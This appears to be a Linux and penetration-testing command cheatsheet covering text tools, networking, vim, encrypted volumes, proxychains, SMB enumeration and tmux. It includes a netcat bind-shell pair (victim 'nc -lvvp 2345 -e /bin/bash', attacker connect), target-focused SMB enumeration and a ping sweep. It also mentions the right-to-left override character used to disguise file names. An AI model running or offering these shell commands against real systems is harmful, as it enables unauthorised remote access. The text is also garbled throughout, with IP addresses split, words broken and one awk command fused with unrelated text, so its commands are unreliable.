

AWK | CAT | GREP

AWK
Find line number of IP
`awk '/197.1 28.14 5.39/{ print NR, 1st sector of HDD`
`xt`
CAT
With line numbers
`cat -n file.txt`
GREP
`grep "href=" index.html | cut -d"/" -f3 | grep -m 1000 -o -E 'http://[a-z0-9.]+'`
Count occurrences of \x in 1906.py
`cat 1906.py | grep -o \x | wc -l`
Find line number of IP
`grep -n 197.128.145.39 ips.txt`

Network

Show all eth network interfaces, e.g.
`dmesg | grep ^eth`
Restart Networking
`sudo service network manager restart`
Whatportis
`pip install whatportis`
`whatportis 21`
CIDR Calculation
`sudo apt-get install sipcalc`
`sipcalc 192.16 8.1.0/24`

DIFF & NDIFF (File Comparison)

`diff file1 file2` (compare files line by line)
`ndiff file1 file2`
 (compare 2 nmap scans for changes)

Boot Process

1. Power on
2. BIOS
3. MBR - 1st sector of HDD
4. GRUB
5. Kernel
6. initramfs - Initial RAM disk
7. init - /sbin/init (daemons and services)
8. Command shell using `getty`
9. GUI - X Windows

Disable services from loading on login
`systemctl disable apache2`
 (disable apache from auto-starting on boot/login)

Unicode

<http://superuser.com/questions/59418/how-to-type-special-characters-in-linux>
Example - RTL Override
 Hold CTRL+SHIFT+U, then type in 202e
 The invisible right-to-left override character will be inserted and anything typed after this character will be backwards.

Command Line Cheatsheet

Create and view interactive cheatsheets on the command-line!
Set editor in path
`nano .bashrc` (in your home directory)
`export EDITOR="/bin/nano"`
Install and use cheat

Command Line Cheatsheet (cont)

`sudo pip install cheat`
`cheat netstat`
 Cheatsheets are stored in `~/.cheat/`
Edit a cheatsheet
`cheat -e foo`

ASCII Table & Calculator

`man ascii` (show ascii table)
`bc` (command line calculator)

Permissions

Change ownership
`sudo chown username filename`
Clone ownership
`chown --reference=otherfile thisfile`

FIND

Case insensitive -iname
`sudo find -iname fileor foldername`
`sudo find -iname fileor foldername`
`e*`

XARGS

Pingsweep
`echo 192.16 8.9.{2 00..250} | xargs ping -c 1`
Run command against files from find
`find * | xargs exiftool` (Run exiftool against all files in current directory)

TREE (Directory Tree)

Show a directory tree
`tree direct oryname`

Monitoring & Processes

WATCH
`watch ls` (run ls every 2secs)
TOP
`top` (view processes in detail)
`htop` (better alternative)
CRON JOBS
`crontab -e` (list and edit cronjobs)
 Generate your crontab line easily:
<http://crontab-generator.org/>

SSL Certificates

Follow instructions at - <https://certbot.eff.org/>
 To generate an auto-renewal cronjob - <http://crontab-generator.org/>
EXAMPLE:
`crontab -e`
`17 3 * /root/certbot-auto renew --quiet --no-self-upgrade`

Hotkeys

Nautilus (Switch views)
 CTRL+1
 CTRL+2
 CTRL+3
 CTRL+H (show hidden)
 CTRL+L (show location)
 Nautilus Graphical Mode Search
 ALT+F2
 Deleted files go to `~/local/share/Trash/files/`
 Delete or CTRL+Delete = Move to Trash
 Shift+Delete = Permanent Delete

VI & VIM

I / INS = Insert Mode

SELECTING TEXT

v = select range

V = select entire line

d = delete selected text

COPY/PASTE

y = copy selection

yy = copy line

p = paste before cursor

DELETE

dd = delete line

x = cut selected text

d\$ = delete from cursor to end of line

UNDO / REDO

u = undo last action

CTRL+R = redo last action

EXIT

ZZ = save and quit

:w = save

:q! = quit without saving

FIND AND REPLACE

:%s/eth0/br0/g = find eth0 and replace with br0

:%s##blah#g = find and replace with blah

NANO

Copy and Paste

ALT+6 and CTRL+U

Show line numbers

nano -c filename

Output

To screen and file

```
command1 2>&1 | tee log.txt
ls -al | tee file.txt
```

Append to screen and file

```
command1 | tee -a log.txt
```

Multiple Commands

```
cat rubbis h.txt; ls
```

Netcat Bind Shell

Victim

```
nc -lvvp 2345 -e /bin/bash
```

Attacker

```
nc -vn 192.16 8.1.177 2345
```

Base64 Encode & Decode

```
python
" bla h".e nco de( 'ba se64')
" YXN jaW kxL nR4 dA= =" .d
'ba se64')
```

Encrypted Volumes

<http://askubuntu.com/questions/63594/mount-encrypted-volumes-from-cd-line#63598>

```
sudo apt-get install cryptsetup
```

Decrypt & Mount

```
sudo cryptsetup luksOpen /dev/sda1 my_enc_rvp_ted_volume
sudo mkdir /media /my_device
sudo mount /dev/m app er/ my_enc_rvp_ted_volume /media /m
y_device
```

Unmount & Lock

```
sudo umount /media /my_device
sudo cryptsetup luksClose my_enc_rvp_ted_volume
```

Auto-mount to Location

```
sudo udisks --mount /dev/m
```

IP Assignment

MANUAL

Note: Changes are nonpersistent. To make changes permanent, edit /etc/network/interfaces file.

```
ifconfig eth0 192.16 8.7 2
```

(configure IP)

```
route add default gw 192.16 8.72.2 (add
```

gateway)

```
echo nameserver 4.2.2.2 > etc/re sol v.co
```

```
nf (add DNS to resolv.conf)
```

AUTO

```
dhclient eth0
ifconfig
killall dhclient
ps -ef | grep dhclient
```

Proxchains

<http://proxchains.sourceforge.net/>

o.html

```
/etc/p rox ych ain s.conf
```

(usage info)

proxyc hains firefox google.co

Resolve google.com through proxy

specified by proxychains.conf

SMB (Samba, NETBIOS)

RPCClient

<http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html>

```
enum4linux -U -o 192.16 8.1.20
0
```

SMBClient

```
smbclient -L //TARGETIP (list
shares)
```

```
smbclient //TARG ETI P/tmp
```

(connect to tmp folder)

SMB (Samba, NETBIOS) (cont)

```
smbclient -I 192.16 8.9 2.
```

-a = domain, -N = no

TMUX

<https://danielmiessler.com/study/tmux/> (add

```
ssh blah@x.x.x.x
```

```
tmux
```

```
nmap -A etc...
```

CTRL+B, D (to exit and keep session running)

If the session dies

```
ssh blah@x.x.x.x
```

```
tmux attach (to connect to
```

first available session)

VNC Server

```
apt-get install tightvncser
```

```
vncserver
```

You will require a password to access your desktops...

View only password? n

```
netstat -antp | grep vnc (u
runs on port 5901)
```